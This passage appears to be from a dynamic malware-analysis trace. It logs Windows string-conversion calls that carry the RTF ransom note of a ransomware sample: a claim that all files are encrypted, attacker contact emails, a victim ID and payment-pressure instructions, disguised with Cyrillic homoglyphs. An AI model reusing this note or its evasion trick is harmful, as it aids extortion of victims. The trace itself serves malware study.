r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0035.991] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 